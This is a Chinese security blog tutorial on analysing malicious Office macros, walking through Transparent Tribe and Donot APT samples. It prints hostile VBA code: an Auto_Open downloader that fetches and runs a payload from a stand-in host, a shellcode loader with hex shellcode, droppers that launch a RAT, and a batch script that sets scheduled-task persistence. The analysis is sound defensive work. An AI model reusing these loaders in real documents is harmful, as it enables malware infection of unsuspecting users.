其他
干货 | 恶意代码分析之Office宏代码分析
文章来源:安全客
作者:想吃肚包鸡
0x00 前言在之前的文章中,讲述了几个常见的恶意样本的一些常规分析手法。主要使用的工具有exeinfo(查壳)、IDA(静态分析)、od&xdbg32(动态调试)、Systrace&火绒剑(行为分析)等。从本小节开始,文章将讲述不同种类的非PE样本和一些更复杂的PE样本如何调试和分析。关于非PE样本的概述,在之前的文章中已经进行了概要的介绍,目前来讲,非PE样本在攻击链中往往属于重要的部分。在本节中,笔者将详细介绍关于office宏类的非PE样本的分析方法。
0x01 Office宏简介该部分的主要内容来源于19年年底我看到的一个英文论文,原文链接暂时找不到了,后续如果找到了我会贴在评论中。
基于宏的攻击活动
有时候,宏代码会直接访问攻击者的C2,下载恶意文件到本地运行。
有时候,宏代码会解密释放出一个powershell代码,再调用powershell脚本,通过powershell脚本去实现环境检测、文件下载等功能。
宏代码基于的是VB的语法,如果没有混淆的宏代码阅读起来倒是比较方便,但是现在的大多数宏样本都会有混淆和一些反调试手法,所以在遇到各类宏代码的时候也要根据情况去分析。
一些钟爱office宏攻击的家族
2015年和2016年两次袭击乌克兰发电厂,导致停电。2018年攻击平昌冬奥会。Other除此之外,还有像Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、 Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 等家族,都会在攻击过程中使用到带有恶意宏代码的office文档。
恶意宏如何运行
1.在文档中间显示一个模糊的图片,提示用户启用宏才能查看清晰图片。
2.在文档中伪造安全的机构,比如伪造微软,或者伪造一个杀软的图标,让用户相信这个文档是安全的。
3.与用户交互,把宏代码的执行设置在用户单击了某个图片或者按钮则提示用户启用宏。
恶意宏代码通常被用来做什么
Run Automatically 自动运行
Download Files 下载文件
CreateFiles 创建文件
Execute a file 执行、启动文件
Run a system command 执行系统命令
call any dll 调用任意dll
Inject Shellcode 注入shellcode
Call any ActiveXObkject 调用任意的ActiveXObject
Simulate Keystrokes 模拟用户点击
…需要注意的是,一个恶意程序可能完全由宏实现,但是更多的情况下,宏用于加载或者下载其他恶意程序。所以对于一个未知的office文档来讲,启用office的宏和打开未知的exe文件一样危险:
private Declare Function URLDownloadToFileA Lib "urlmon"
(ByVak A AS Long,ByVal B As String ,
ByVal C As String ,ByVal D As Long ,
ByVal E As Long ) As Long
Sub Auto_Open()
Dim result As Long
fname = Environ("TEMP") & "agent.exe"
result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)
Shell fname
End Sub
在第六行定义了名为Auto_Open的函数,该函数在文档打开的时候会自动运行(如果允许文档执行宏)
第八行滴位置,指明了下载文件的存放路径和名称
第9行的地方调用了URLDownloadToFileA函数,下载文件保存到本地
第10行的位置执行下载的payload
简单的混淆、反调试技术
一个典型的例子:利用InkPicture1_Painted
2.隐藏数据
3.用于隐藏数据的Word文档变量,文档变量可以存储多达64KB的数据,隐藏在MS Word用户界面中。
4.通过CallByName混淆函数调用
https://msdn.microsoft.com/en-us/library/office/gg278760.aspx
5.使用WMI运行命令
6.调用powershell
7.运行VBScript或者Jscript,运行VBS/JS代码而不将文件写入磁盘
可参考文档:https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN
代码示例:https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-Java-Script-Function.html
8.通过API回调运行shellcode一例通过VBA运行shellcode的实例:
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
代码的前四行用于引用系统库,调用系统API
16行处是shellcode的十六进制编码,在这个例子中功能是打开计算器。
29行处是将shellcode的十六进制编码转换为二进制数据流
36行处将shellcode copy到了buffer处
38处执行了shellcode
关于office的加密
分享两个解密的工具:
https://github.com/nolze/msoffcrypto-tool
https://github.com/herumi/msoffice
宏代码的分析工具
这里不得不提一下从VBA编辑器隐藏VBA代码的技巧:https://github.com/outflanknl/EvilClippy2.olevba:https://github.com/decalage2/oletools/wiki/olevba
该工具可以有效的提取office文档中的宏代码,需要python环境支持。
mraptor
https://github.com/decalage2/oletools/wiki/mraptor大概介绍一下原理:
mraptor有三个检测标准,分别是:
A 自动执行(触发器)
W 写入文件系统或内存
X 在VBA上下文外执行文件或任何payload
当某个office宏满足了A条件,那么W和X只要满足任意一条,则会被mraptor标注为恶意。
该项目依赖python环境,用法如下:
Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No Macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
mraptro file.doc
0x02 TransparentTribe的Dropper样本样本md5:bce8a8ea8d47951abffeec38fbeeeef1
样本app.any.run沙箱链接:https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/
这里如果选择禁用的话,那么后续文档将显示为空:
由攻击目标为印度,根据已有的信息,我们可以找到一些针对印度的攻击组织,如Confucius 、APT36(C-Major、Transparent Tribe)、GravityRAT等。接下来我们看看具体的恶意宏代码。在打开的xls文档中,安ALT + F11,即可打开宏窗口,红框中的内容即为该文档的宏对象。
在通过office调试宏代码时,调试的快捷键和od、x64dbg这种调试器有部分区别,具体如下:
这里F8类似于od中的F7,会逐语句执行代码,当遇到函数调用时,F8会跟进到函数内部。逐过程Shift + F8相当于od中的F8,遇到函数调用时,将会直接执行完函数而不进入函数。运行到光标处 Ctrl + F8 相当于od中的F4此外,在宏调试器中,设置断点是F9,运行程序是F5。所以我们之后在调试宏代码时,我们也可以直接在某行代码设置断点,然后F5运行到断点处。我们这里直接F8就是在当前的模块窗口中,开始调试宏代码,调试的方式是单步运行。通常来说,F8运行之后,程序就会停在该模块的入口点。标黄显示,并且在最下面的本地窗口中会显示一些将要使用到的变量。
在代码最开始,程序定义了多个变量
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
file_Aldi_name = “rlbwrarhsa”
对file_Aldi_name进行了赋值。通过
fldr_Aldi_name = Environ$(“ALLUSERSPROFILE”) & “Tdlawis”
对fldr_Aldi_name进行赋值。
其中,Environ$(“ALLUSERSPROFILE”) 表示获取%ALLUSERSPROFILE%环境变量,&符号表示拼接。
所以该语句运行完之后,fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis
当然,我们也可以直接按F8单步往下走,在调试器中查看对应的值,这是最快的方法。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then
MkDir (fldr_Aldi_name)
End If
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
MkDir (fldrz_Aldi_name)
End If
zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”
声明一个zip路径,路径应该为%ALLUSERSPROFILE%Dlphawsomthrpa.zip通过
path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”
声明一个path路径,路径应该为:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
Else
ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
End If
For Each vl In ar1Aldi
ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1
Next
Open zip_Aldi_file For Binary Access Write As #2
Put #2, , btsAldi
Close #2
If Len(Dir(path_Aldi_file)) = 0 Then
Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
End If
解压成功后将会在fldr_Aldi_name目录下出现目标文件:
Shell path_Aldi_file, vbNormalNoFocus
启动该exe,程序即从xls文件成功转入到了exe文件运行。
由于该exe由C#编写,是一个Crimson远控,关于该类木马的分析,将在后续的文章中进行介绍。从这个样本中,我们初步了解了office宏代码的攻击方式。
1.诱导用户启用宏,诱导方式,如果不启用宏,xls文档打开之后将不现实任何内容
2.将预定义的zip数据流简单转换之后写入到窗体中
3.根据操作系统版本的不同,取窗体中不同的值
4.将取出来的数据进行简单变换之后还原为zip文件
5.解压zip文件得到一个Crimson远控
6.运行该远控
0x03 donot恶意文档分析样本md5:4428912f168f3f1f0554126de7b4eced
any沙箱连接为:
https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/同样的,通过any沙箱,我们可以得知该样本还是一个xls文档,我们将样本下载到本地并添加xls后缀打开。
同样的弹出了禁用宏的提示框:
代码开头还是通过Dim定义了几个变量,然后通过Environ获取了环境变量APPDAT和TEMP的路径分别赋值给Digital和request
Digital = Environ$(“APPDATA”)
request = Environ$(“TEMP”)接着通过
Application.Wait Now + TimeValue(“0:00:03”)
休眠3秒休眠之后通过
a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)
进行弹框,弹框内容就是我们先前看到的提示框,这就是第二种迷惑用户的手法。
在上一个样本中,恶意宏代码运行之后,程序会显示一个看起来正常的xls文档以消除用户的疑心。在本样本中,恶意代码运行之后,程序是通过弹框提示用户文档打开错误以消除用户的疑心。两种方法的目标都在于,让用户误以为,打开的文档是没有问题的。弹框之后,程序会通过
sunjava = “Scr” + “ipting.File” + “System” + “Object”
Set digit = CreateObject(sunjava)
创建一个Scripting.FileSystemObject对象接着程序将通过
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook
https = Digital & “” & “s.bat”
Call Shell(https, vbHide)
拼接s.bat的路径并且再次通过Shell指令运行。至此宏代码运行完成。我们可以看到,在该样本中,宏代码很短,宏代码的功能位
1.弹框迷惑用户
2.释放一个S文件,经查看为一个PE文件
3.释放一个s.bat批处理文件
4.调用执行s.bat文件到这里我们也可以猜测出,s.bat文件将用于调用执行s文件。我们查看一下s.bat的内容:
echo off
md %USERPROFILE%InetLogsCust
md %USERPROFILE%InetLogsPool
md %USERPROFILE%CommonBuildOffice
md %USERPROFILE%FilesSharedWeb
md %USERPROFILE%ViewerInformationPolicy
attrib +a +h +s %USERPROFILE%Inet
attrib +a +h +s %USERPROFILE%Common
attrib +a +h +s %USERPROFILE%Files
attrib +a +h +s %USERPROFILE%Viewer
del /f %USERPROFILE%InetLogsPoolagnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"
move %AppData%s %USERPROFILE%ViewerInformationPolicy
ren %USERPROFILE%ViewerInformationPolicys sqmap.dll
del %0
目前vt(2020-06-24)上关于sqlmap.dll检出量为0:
首先通过IDA加载sqlmap.dll,我们可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb该pdb以前未出现过,而且结合test.pdb的字眼,该样本可能是攻击者开发的测试版本。
bbLorkybbYngxkjbb]khbbmgvjgz4k~k
解密得到
dnsresolve.live
0x04 总结
在本小节中,我们对office恶意宏代码有了概要的了解并且通过两个简单的apt样本进行了分析,我们可以看到,宏代码在实际攻击中使用是非常广泛的,因为宏代码嵌入在文档中,是最容易和用户进行交互的部分,也往往是攻击者攻击中的第一部分。在本小节中我们分析了两个xls文档的宏代码,在下一小节我们将对带有混淆和反调试的宏代码进行调试和分析。
版权申明:内容来源网络,版权归原创者所有。除非无法确认,我们都会标明作者及出处,如有侵权烦请告知,我们会立即删除并表示歉意。祝愿每一位读者生活愉快!谢谢!
推荐阅读